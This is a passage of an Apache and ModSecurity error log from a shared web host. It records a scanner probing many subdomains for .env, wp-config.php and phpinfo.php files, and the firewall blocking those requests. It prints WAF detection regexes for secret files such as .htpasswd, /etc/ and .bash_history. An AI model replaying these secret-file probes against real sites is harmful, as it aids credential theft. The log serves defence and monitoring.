"autodiscover.acc.bxz.mybluehost.me"] [uri "/config.php"] [unique_id "ai3z7VWSojQL4F7upKCJ6AAAAM0"], referer: http://autodiscover.acc.bxz.mybluehost.me/ [Sat Jun 13 18:21:01.327308 2026] [security2:error] [pid 646876:tid 647037] [client 91.92.42.86:55294] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "cpanel.acc.bxz.mybluehost.me"] [uri "/___proxy_subdomain_cpanel/.env"] [unique_id "ai3z7dyTkdrNlD40tSHDBQAAAB0"], referer: http://cpanel.acc.bxz.mybluehost.me/ [Sat Jun 13 18:21:01.359079 2026] [security2:error] [pid 646876:tid 647083] [client 91.92.42.86:55326] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.acc.bxz.mybluehost.me"] [uri "/config.php"] [unique_id "ai3z7dyTkdrNlD40tSHDCgAAAEs"], referer: http://cpanel.acc.bxz.mybluehost.me/ [Sat Jun 13 18:21:01.391765 2026] [security2:error] [pid 646876:tid 647108] [client 91.92.42.86:55334] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.acc.bxz.mybluehost.me"] [uri "/info.php"] [unique_id "ai3z7dyTkdrNlD40tSHDDgAAAGQ"], referer: http://cpanel.acc.bxz.mybluehost.me/ [Sat Jun 13 18:21:01.415446 2026] [access_compat:error] [pid 646876:tid 646993] [remote 57.141.14.110:37732] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:01.415882 2026] [access_compat:error] [pid 646876:tid 646993] [remote 57.141.14.110:37732] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:01.466215 2026] [security2:error] [pid 646876:tid 647134] [client 91.92.42.86:55348] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.acc.bxz.mybluehost.me"] [uri "/wp-config.php"] [unique_id "ai3z7dyTkdrNlD40tSHDEgAAAH4"], referer: http://cpanel.acc.bxz.mybluehost.me/ [Sat Jun 13 18:21:01.495519 2026] [security2:error] [pid 648189:tid 648411] [client 91.92.42.86:55356] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.acc.bxz.mybluehost.me"] [uri "/phpinfo.php"] [unique_id "ai3z7VWSojQL4F7upKCJ-QAAAL4"], referer: http://cpanel.acc.bxz.mybluehost.me/ [Sat Jun 13 18:21:01.613781 2026] [security2:error] [pid 646876:tid 647114] [client 91.92.42.86:55368] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcalendars.acc.bxz.mybluehost.me"] [uri "/wp-config.php"] [unique_id "ai3z7dyTkdrNlD40tSHDGgAAAGo"], referer: http://cpcalendars.acc.bxz.mybluehost.me/ [Sat Jun 13 18:21:01.616329 2026] [access_compat:error] [pid 646876:tid 646963] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9pbnB1dDI6OmNhcHNsb2NrL2RldmljZS9ldmVudDIvc3Vic3lzdGVtL21vdXNlMg== [Sat Jun 13 18:21:01.616810 2026] [access_compat:error] [pid 646876:tid 646963] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9pbnB1dDI6OmNhcHNsb2NrL2RldmljZS9ldmVudDIvc3Vic3lzdGVtL21vdXNlMg== [Sat Jun 13 18:21:01.649988 2026] [security2:error] [pid 646876:tid 647041] [client 91.92.42.86:49930] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcalendars.acc.bxz.mybluehost.me"] [uri "/config.php"] [unique_id "ai3z7dyTkdrNlD40tSHDHQAAACE"], referer: http://cpcalendars.acc.bxz.mybluehost.me/ [Sat Jun 13 18:21:01.661549 2026] [proxy:error] [pid 648189:tid 648472] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:01.661623 2026] [proxy_http:error] [pid 648189:tid 648472] [client 91.92.42.86:49946] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcalendars.acc.bxz.mybluehost.me/ [Sat Jun 13 18:21:01.662514 2026] [proxy:error] [pid 648189:tid 648472] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:01.662549 2026] [proxy_http:error] [pid 648189:tid 648472] [client 91.92.42.86:49946] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcalendars.acc.bxz.mybluehost.me/ [Sat Jun 13 18:21:01.666358 2026] [proxy:error] [pid 648189:tid 648434] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:01.666414 2026] [proxy_http:error] [pid 648189:tid 648434] [client 91.92.42.86:49962] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcalendars.acc.bxz.mybluehost.me/ [Sat Jun 13 18:21:01.666945 2026] [proxy:error] [pid 648189:tid 648434] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:01.666975 2026] [proxy_http:error] [pid 648189:tid 648434] [client 91.92.42.86:49962] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcalendars.acc.bxz.mybluehost.me/ [Sat Jun 13 18:21:01.690570 2026] [proxy:error] [pid 646876:tid 647052] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:01.690675 2026] [proxy_http:error] [pid 646876:tid 647052] [client 91.92.42.86:49972] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcalendars.acc.bxz.mybluehost.me/ [Sat Jun 13 18:21:01.691363 2026] [proxy:error] [pid 646876:tid 647052] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:01.691404 2026] [proxy_http:error] [pid 646876:tid 647052] [client 91.92.42.86:49972] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcalendars.acc.bxz.mybluehost.me/ [Sat Jun 13 18:21:01.696213 2026] [security2:error] [pid 646876:tid 646974] [remote 17.241.227.66:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 66.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3z7dyTkdrNlD40tSHDIwAAVl8"] [Sat Jun 13 18:21:01.698332 2026] [security2:error] [pid 646876:tid 647119] [client 91.92.42.86:49974] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcalendars.acc.bxz.mybluehost.me"] [uri "/info.php"] [unique_id "ai3z7dyTkdrNlD40tSHDJAAAAG8"], referer: http://cpcalendars.acc.bxz.mybluehost.me/ [Sat Jun 13 18:21:01.736881 2026] [core:error] [pid 646876:tid 647066] [client 66.249.75.166:64757] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace. [Sat Jun 13 18:21:01.736913 2026] [core:error] [pid 646876:tid 647066] [client 66.249.75.166:64757] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace. [Sat Jun 13 18:21:01.750896 2026] [proxy:error] [pid 648189:tid 648484] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:01.750984 2026] [proxy_http:error] [pid 648189:tid 648484] [client 91.92.42.86:49988] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcalendars.acc.bxz.mybluehost.me/ [Sat Jun 13 18:21:01.752150 2026] [proxy:error] [pid 648189:tid 648484] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:01.752194 2026] [proxy_http:error] [pid 648189:tid 648484] [client 91.92.42.86:49988] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcalendars.acc.bxz.mybluehost.me/ [Sat Jun 13 18:21:01.794507 2026] [security2:error] [pid 648189:tid 648461] [client 91.92.42.86:49998] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcalendars.acc.bxz.mybluehost.me"] [uri "/phpinfo.php"] [unique_id "ai3z7VWSojQL4F7upKCKBgAAAOs"], referer: http://cpcalendars.acc.bxz.mybluehost.me/ [Sat Jun 13 18:21:01.861585 2026] [security2:error] [pid 648189:tid 648390] [client 91.92.42.86:50002] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.acc.bxz.mybluehost.me"] [uri "/wp-config.php"] [unique_id "ai3z7VWSojQL4F7upKCKDAAAAKo"], referer: http://mail.acc.bxz.mybluehost.me/ [Sat Jun 13 18:21:01.871823 2026] [security2:error] [pid 648189:tid 648428] [client 91.92.42.86:50016] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "cpcalendars.acc.bxz.mybluehost.me"] [uri "/___proxy_subdomain_cpcalendars/.env"] [unique_id "ai3z7VWSojQL4F7upKCKDwAAAM8"], referer: http://cpcalendars.acc.bxz.mybluehost.me/ [Sat Jun 13 18:21:01.880997 2026] [access_compat:error] [pid 648189:tid 648237] [remote 57.141.14.16:30146] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:01.881442 2026] [access_compat:error] [pid 648189:tid 648237] [remote 57.141.14.16:30146] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:01.947959 2026] [security2:error] [pid 646876:tid 647054] [client 91.92.42.86:50050] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.acc.bxz.mybluehost.me"] [uri "/config.php"] [unique_id "ai3z7dyTkdrNlD40tSHDMAAAAC4"], referer: http://mail.acc.bxz.mybluehost.me/ [Sat Jun 13 18:21:01.967397 2026] [security2:error] [pid 646876:tid 647093] [client 91.92.42.86:50062] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.acc.bxz.mybluehost.me"] [uri "/info.php"] [unique_id "ai3z7dyTkdrNlD40tSHDMgAAAFU"], referer: http://mail.acc.bxz.mybluehost.me/ [Sat Jun 13 18:21:01.992133 2026] [security2:error] [pid 648189:tid 648275] [remote 47.128.62.209:18728] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "cityofmarional.com"] [uri "/dexter-hinton/"] [unique_id "ai3z7VWSojQL4F7upKCKEQAA6DU"] [Sat Jun 13 18:21:02.031831 2026] [security2:error] [pid 646876:tid 647087] [client 91.92.42.86:50064] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.acc.bxz.mybluehost.me"] [uri "/phpinfo.php"] [unique_id "ai3z7tyTkdrNlD40tSHDNQAAAE8"], referer: http://mail.acc.bxz.mybluehost.me/ [Sat Jun 13 18:21:02.163504 2026] [access_compat:error] [pid 646876:tid 646964] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQxL2RldmljZS9kcml2ZXIvTE5YUFdSQk46MDAvcG93ZXI= [Sat Jun 13 18:21:02.163964 2026] [access_compat:error] [pid 646876:tid 646964] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQxL2RldmljZS9kcml2ZXIvTE5YUFdSQk46MDAvcG93ZXI= [Sat Jun 13 18:21:02.199209 2026] [access_compat:error] [pid 648189:tid 648322] [remote 57.141.14.112:34822] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:02.199661 2026] [access_compat:error] [pid 648189:tid 648322] [remote 57.141.14.112:34822] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:02.254416 2026] [security2:error] [pid 646876:tid 647096] [client 91.92.42.86:50114] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.acc.bxz.mybluehost.me"] [uri "/phpinfo.php"] [unique_id "ai3z7tyTkdrNlD40tSHDPAAAAFg"], referer: http://webdisk.acc.bxz.mybluehost.me/ [Sat Jun 13 18:21:02.262427 2026] [security2:error] [pid 648189:tid 648332] [remote 2a02:c7c:753e:b200:cd79:b261:9008:e6c9:0] ModSecurity: Warning. Pattern match "/(contact(o|.?us)?|wp-comments-post|(send)?.?(form.)?e?mail(er)?|memberlist|send|contact.form(.handler)?|thankyou|leafmailer[0-9.]*)\\\\.php" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1546"] [id "900923"] [msg "contact form logging"] [hostname "www.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai3z7lWSojQL4F7upKCKHQAAi20"], referer: https://www.torquayfans.com [Sat Jun 13 18:21:02.262453 2026] [security2:error] [pid 648189:tid 648332] [remote 2a02:c7c:753e:b200:cd79:b261:9008:e6c9:0] ModSecurity: Access denied with code 409 (phase 2). Match of "eq 1" against "&REQUEST_COOKIES:humans_21909" required. [file "/opt/mod_security/hg_rules.conf"] [line "1552"] [id "900424"] [msg "Transparent Bot Detection for Contact Forms"] [hostname "www.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai3z7lWSojQL4F7upKCKHQAAi20"], referer: https://www.torquayfans.com [Sat Jun 13 18:21:02.290752 2026] [security2:error] [pid 648189:tid 648485] [client 91.92.42.86:50136] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.acc.bxz.mybluehost.me"] [uri "/wp-config.php"] [unique_id "ai3z7lWSojQL4F7upKCKHwAAAQM"], referer: http://webmail.acc.bxz.mybluehost.me/ [Sat Jun 13 18:21:02.350498 2026] [access_compat:error] [pid 646876:tid 646970] [remote 57.141.14.89:54950] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:02.351012 2026] [access_compat:error] [pid 646876:tid 646970] [remote 57.141.14.89:54950] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:02.353076 2026] [security2:error] [pid 648189:tid 648414] [client 91.92.42.86:50154] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.acc.bxz.mybluehost.me"] [uri "/phpinfo.php"] [unique_id "ai3z7lWSojQL4F7upKCKIwAAAME"], referer: http://webmail.acc.bxz.mybluehost.me/ [Sat Jun 13 18:21:02.356813 2026] [security2:error] [pid 646876:tid 647062] [client 91.92.42.86:50144] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webmail.acc.bxz.mybluehost.me"] [uri "/___proxy_subdomain_webmail/.env"] [unique_id "ai3z7tyTkdrNlD40tSHDQgAAADY"], referer: http://webmail.acc.bxz.mybluehost.me/ [Sat Jun 13 18:21:02.376519 2026] [security2:error] [pid 648189:tid 648439] [client 91.92.42.86:50156] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.acc.bxz.mybluehost.me"] [uri "/info.php"] [unique_id "ai3z7lWSojQL4F7upKCKJAAAANo"], referer: http://webdisk.acc.bxz.mybluehost.me/ [Sat Jun 13 18:21:02.388512 2026] [security2:error] [pid 648189:tid 648479] [client 91.92.42.86:50170] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.acc.bxz.mybluehost.me"] [uri "/config.php"] [unique_id "ai3z7lWSojQL4F7upKCKJwAAAP0"], referer: http://webdisk.acc.bxz.mybluehost.me/ [Sat Jun 13 18:21:02.422392 2026] [security2:error] [pid 646876:tid 647091] [client 91.92.42.86:50128] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.acc.bxz.mybluehost.me"] [uri "/wp-config.php"] [unique_id "ai3z7tyTkdrNlD40tSHDSQAAAFM"], referer: http://webdisk.acc.bxz.mybluehost.me/ [Sat Jun 13 18:21:02.431066 2026] [security2:error] [pid 648189:tid 648376] [client 91.92.42.86:50226] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.acc.bxz.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/.env"] [unique_id "ai3z7lWSojQL4F7upKCKLQAAAJw"], referer: http://webdisk.acc.bxz.mybluehost.me/ [Sat Jun 13 18:21:02.448898 2026] [security2:error] [pid 648189:tid 648409] [client 91.92.42.86:50228] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.acc.bxz.mybluehost.me"] [uri "/info.php"] [unique_id "ai3z7lWSojQL4F7upKCKLwAAALw"], referer: http://webmail.acc.bxz.mybluehost.me/ [Sat Jun 13 18:21:02.451514 2026] [security2:error] [pid 648189:tid 648389] [client 91.92.42.86:50246] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.acc.bxz.mybluehost.me"] [uri "/config.php"] [unique_id "ai3z7lWSojQL4F7upKCKMAAAAKk"], referer: http://webmail.acc.bxz.mybluehost.me/ [Sat Jun 13 18:21:02.479520 2026] [security2:error] [pid 646876:tid 647031] [client 91.92.42.86:18592] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "mail.acc.bxz.mybluehost.me"] [uri "/.env"] [unique_id "ai3z7tyTkdrNlD40tSHDTgAAABc"], referer: http://mail.acc.bxz.mybluehost.me/.env [Sat Jun 13 18:21:02.552278 2026] [security2:error] [pid 646876:tid 647084] [client 172.56.168.133:62423] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 133.168.56.172.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3z7tyTkdrNlD40tSHDUQAAAEw"] [Sat Jun 13 18:21:02.557166 2026] [security2:error] [pid 646876:tid 647084] [client 172.56.168.133:62423] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id 